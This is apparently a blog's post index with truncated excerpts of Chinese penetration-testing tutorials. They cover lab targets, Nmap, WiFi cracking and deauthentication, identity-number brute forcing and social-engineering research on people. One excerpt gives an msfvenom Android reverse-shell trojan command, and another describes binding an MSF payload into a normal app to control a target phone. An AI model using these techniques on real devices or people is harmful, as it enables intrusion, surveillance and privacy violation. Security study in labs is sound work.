pikachu靶场搭建置顶

发表于 2024-10-16 17:12阅读：254评论：0推荐：0

摘要：写在前面 “如果你想搞懂一个漏洞，比较好的方法是：你可以自己先制造出这个漏洞（用代码编写），然后再利用它，最后再修复它”。 Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你阅读全文 »

posted @ 2024-10-16 17:12 ZapcoMan 阅读(254) 评论(0) 推荐(0) 编辑

中华人民共和国网络安全法置顶

发表于 2024-10-09 18:53阅读：87评论：0推荐：0

摘要：第一章　总则第一条为了保障网络安全，维护网络空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展，制定本法。第二条在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理，适用本法。第三条国家坚持网络安全与信息化发展并重，遵循积阅读全文 »

posted @ 2024-10-09 18:53 ZapcoMan 阅读(87) 评论(0) 推荐(0) 编辑

自然人信息社工置顶

发表于 2024-10-09 18:29阅读：253评论：0推荐：0

摘要：人，是网络安全全流程中最大的弱点。针对人的攻击往往有出奇不意的效果。而想要利用人的弱点进行攻击，那么对目标的信息收集与了解就是非常重要的了。这篇文章记录了一些常用的用于对人进行身份信息收集的技术。这些技术常被用于溯源取证、社工攻击。 0x00 社工分析中的身份信息收集关于人的社工分析有很多维度的信阅读全文 »

posted @ 2024-10-09 18:29 ZapcoMan 阅读(253) 评论(0) 推荐(0) 编辑

2024年12月10日

将 MSF 捆绑进入正常的APP 程序中

发表于 2024-12-10 23:12阅读：84评论：0推荐：0

摘要：下载需要的脚本将MSF监听捆绑进入正常的 APP 中以达到控制目标手机的目的使用kail 虚拟机完成整个的过程下载脚本 git clone https://gitee.com/stemmm/apkhook520.git 进入脚本根目录 cd apkhook520\ ifconfig 查询阅读全文 »

posted @ 2024-12-10 23:12 ZapcoMan 阅读(84) 评论(0) 推荐(0) 编辑

2024年10月26日

pikachu 基于表单的暴力破解（一）

发表于 2024-10-26 23:35阅读：296评论：0推荐：1

摘要： Burte Force（暴力破解）概述 “暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使* 用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。理论上来说，大多数系统阅读全文 »

posted @ 2024-10-26 23:35 ZapcoMan 阅读(296) 评论(0) 推荐(1) 编辑

2024年10月13日

古典密码学 (一)

发表于 2024-10-13 14:36阅读：131评论：0推荐：0

摘要：古典密码学 (一) 凯撒密码恺撒密码（Caesar Cipher）又被称为凯撒变换或者叫做变换密码。该密码是以凯撒大帝的名字命名的。凯撒密码是一种替换加密，通过该明文中的所有字母都在字母表上向后或者向前移动固定数目替换为密文例如当偏移量为3的时候，字母A就会变成D,字母B就会被替换成E 阅读全文 »

posted @ 2024-10-13 14:36 ZapcoMan 阅读(131) 评论(0) 推荐(0) 编辑

封神台 SQL注入靶场（猫舍）手动注入

发表于 2024-10-13 11:46阅读：531评论：0推荐：4

摘要：封神台 SQL注入靶场（猫舍）手动注入靶场地址 http://pu2lh35s.ia.aqlab.cn/?id=1 使用脚本可以直接使用sqlmap脚本直接对这个地址进行测试不过这样实在是太没意思了这里使用的是 sqlmap 二次开发的 sqlmapplus 脚本 sqlmap 也是阅读全文 »

posted @ 2024-10-13 11:46 ZapcoMan 阅读(531) 评论(0) 推荐(4) 编辑

2024年10月12日

Nmap信息命令详解

发表于 2024-10-12 01:00阅读：275评论：0推荐：0

摘要：常用命令 nmap 192.168.0.100(简单扫描) nmap 192.168.0.100/24(扫描目标地址所在的某个网段) nmap 192.168.0.0/24(扫描整个子网中的网络主机信息) nmap 192.168.1.1/24(在某个网段进行扫描) nmap -sP 192.168 阅读全文 »

posted @ 2024-10-12 01:00 ZapcoMan 阅读(275) 评论(0) 推荐(0) 编辑

渗透测试用的浏览器插件

发表于 2024-10-12 00:43阅读：125评论：0推荐：0

摘要：科学代理上网插件自由海谷歌商店下载或者去国内的浏览器插件网站也可以找到 harkbar 懂得都懂测试必备 Wappalyzer 一款可以知道网站使用的技术的插件就算对方有cdn 一样可以检测出来 Heimdallr Heimdallr是一款致力于被动嗅探浏览器流量，提示高危资产指纹阅读全文 »

posted @ 2024-10-12 00:43 ZapcoMan 阅读(125) 评论(0) 推荐(0) 编辑

2024年10月10日

身份证爆破与验证

发表于 2024-10-10 12:31阅读：202评论：0推荐：0

摘要：原理身份证前六位是行政区划代码（可知道ip和地址后查询到前六位），后八位为出生日期和生日三位顺序码 17位奇数男性偶数女性（这个很简单）最后一位为校验码校验码是通过身份证前17位计算出来的计算方法是将身份证前17为数字分别乘以不同系数从第1-17位×7 9 10 5 8 4 2 1 6 阅读全文 »

posted @ 2024-10-10 12:31 ZapcoMan 阅读(202) 评论(0) 推荐(0) 编辑

2024年10月9日

利用mysql数据库的日志添加一句话木马

发表于 2024-10-09 20:12阅读：91评论：0推荐：0

posted @ 2024-10-09 20:12 ZapcoMan 阅读(91) 评论(0) 推荐(0) 编辑

python 生成requirements 文件

发表于 2024-10-09 20:06阅读：158评论：0推荐：0

摘要： python 要生成 requirements文件有两种情况具有独立的虚拟环境全局环境具有独立的虚拟环境 pip freeze > requirements.txt 全局环境安装 pip install pipreqs 在当前目录生成 pipreqs . --encoding=utf8 - 阅读全文 »

posted @ 2024-10-09 20:06 ZapcoMan 阅读(158) 评论(0) 推荐(0) 编辑

python 打包 py 文件为exe

发表于 2024-10-09 20:06阅读：31评论：0推荐：0

摘要：使用 pyinstaller 来进行打包 pip install pyinstaller 可能需要全局科学代理上网或者修改下载源地址执行命令图标path：C:\desktop\icon 文件path：C:\pycharm\project\bingdundun.exe 1、指定文件路径打阅读全文 »

posted @ 2024-10-09 20:06 ZapcoMan 阅读(31) 评论(0) 推荐(0) 编辑

kali Linux 启动 apache 和 mysqll

发表于 2024-10-09 19:30阅读：98评论：0推荐：0

摘要： kali linux 自带 apache 服务和 mysql 服务 # 启动 apache 服务 service apache2 start # 启动 mysql 服务 service mysql start 查看两个服务的状态 service apache2 status service m 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(98) 评论(0) 推荐(0) 编辑

Kali Linux 更新一条命令搞定

发表于 2024-10-09 19:30阅读：62评论：0推荐：0

摘要： Kali Linux 更新一条命令搞定 sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(62) 评论(0) 推荐(0) 编辑

在不需要WiFi密码的情况下进行断网攻击

发表于 2024-10-09 19:30阅读：46评论：0推荐：0

摘要：本教程只能用于学习研究之用任何未经他人允许的攻击行为都是违法行为参考教程 https://www.youtube.com/davidbombal 准备 * kali linux 系统这里使用的是虚拟机 * 一张可以开启监听模式的网卡 * 两张网卡使用那一张都可以 * 本教程使用的是 pytho 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(46) 评论(0) 推荐(0) 编辑

用于 Wi-Fi 密码破解

发表于 2024-10-09 19:30阅读：27评论：0推荐：0

摘要： wpa-dictionary 用于 Wi-Fi 密码破解。 Linux 篇（推荐） 1. 安装 aircrack-ng 使用相应包管理工具安装，例如 Debian/Ubuntu 使用 apt 安装： sudo apt install aircrack-ng 2. 查看可用的无线网卡使用命令：air 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(27) 评论(0) 推荐(0) 编辑

学校想要手机序列号有什么用

发表于 2024-10-09 19:30阅读：59评论：3推荐：0

摘要：学校想要手机序列号有什么用学校想要手机序列号有什么用？有你的IMEI和手机号就可以翻译成MSISSD 这个在基站那里可以监听你所有通信和短信截取你所有的通讯数据包，当然学校是没有能力破解的，从学校的权限看监听通话短信和破解你的通讯数据这不太可能，这是违法的，但是定位监控通信行为和流量特征，把你阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(59) 评论(3) 推荐(0) 编辑

一个查询IP地理信息和CDN提供商的离线终端工具

发表于 2024-10-09 19:30阅读：42评论：0推荐：0

摘要：一个查询IP地理信息和CDN提供商的离线终端工具 Nali 功能支持多种数据库纯真 IPv4 离线数据库 ZX IPv6 离线数据库 Geoip2 城市数据库 (可选) IPIP 数据库 (可选) ip2region 数据库 (可选) DB-IP 数据库 (可选) IP2Location DB3 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(42) 评论(0) 推荐(0) 编辑

docker 靶场笔记

发表于 2024-10-09 19:30阅读：11评论：0推荐：0

摘要： docker 靶场笔记搜索镜像容器 sudo docker search dvwa 查看所有镜像容器 docker ps -a 下载指定的镜像并在后台启动 docker run -itd -p 虚拟机的端口:容器端口 --name=自定义镜像名镜像名 docker run -itd - 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(11) 评论(0) 推荐(0) 编辑

高效记忆的底层逻辑公式

发表于 2024-10-09 19:30阅读：9评论：0推荐：0

摘要：高效记忆的底层逻辑公式把数字，文字，声音转换成图片后连接记忆两个要点转换连接什么是记忆? 记忆是个体经验在头脑中积累和保存的心理过程，是人脑对过去经验的反馈记忆的过程识记 > 保持 > 再现记 --> 存储忆 --> 复现记忆的本质是连接阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(9) 评论(0) 推荐(0) 编辑

kali Linux及mac os 破解WiFi

发表于 2024-10-09 19:30阅读：268评论：0推荐：0

posted @ 2024-10-09 19:30 ZapcoMan 阅读(268) 评论(0) 推荐(0) 编辑

MSF 入侵安卓手机

发表于 2024-10-09 19:30阅读：68评论：0推荐：0

摘要：生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输： python3 -m http.server 启动 MSF 控制端： msconsole 设置模块： use ex 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(68) 评论(0) 推荐(0) 编辑

常见文件格式十六进制文件头

发表于 2024-10-09 19:30阅读：181评论：0推荐：0

摘要：常见文件格式十六进制文件头 JPEG (jpg)，FileHeader：FFD8FF PNG (png)，FileHeader：89504E47 GIF (gif)，FileHeader：47494638 TIFF (tif)，FileHeader：49492A00 Windows Bitmap 阅读全文 »

posted @ 2024-10-09 19:30 ZapcoMan 阅读(181) 评论(0) 推荐(0) 编辑

kali Linux 安装 AWVS 笔记

发表于 2024-10-09 19:12阅读：14评论：0推荐：0

摘要：安装 AWVS 笔记配置安装 https://www.zwnblog.com/archives/kali-an-zhuang-awvs 根据这篇文章配置并安装出来的设定的账号和密码账号:admi**sb.com 密码:Adm***3.com 访问 https://10.54.133.10:1 阅读全文 »

posted @ 2024-10-09 19:12 ZapcoMan 阅读(14) 评论(0) 推荐(0) 编辑

Nessus 安装笔记

发表于 2024-10-09 19:12阅读：12评论：0推荐：0

摘要： Nessus 安装笔记根据 https://www.zwnblog.com/archives/nessus-jie-shao-yu-an-zhuang#2.kali%E5%AE%89%E8%A3%85nessus 的步骤做出来的而且已经完成了用户名 admin 密码 admin Nessus 阅读全文 »

posted @ 2024-10-09 19:12 ZapcoMan 阅读(12) 评论(0) 推荐(0) 编辑

Termux 使用笔记

发表于 2024-10-09 19:11阅读：101评论：0推荐：0

摘要：第一次安装完成后发现这里面啥都没有所以更新源 apt update 也做不到这是因为源是国外由于有墙所以连接不上下面这个命令可以切换更新源 termux-change-repo 切换源之后安装ssh 服务然后修改密码并启动 ssh 服务就可以使用其他设备链接手机了 pk 阅读全文 »

posted @ 2024-10-09 19:11 ZapcoMan 阅读(101) 评论(0) 推荐(0) 编辑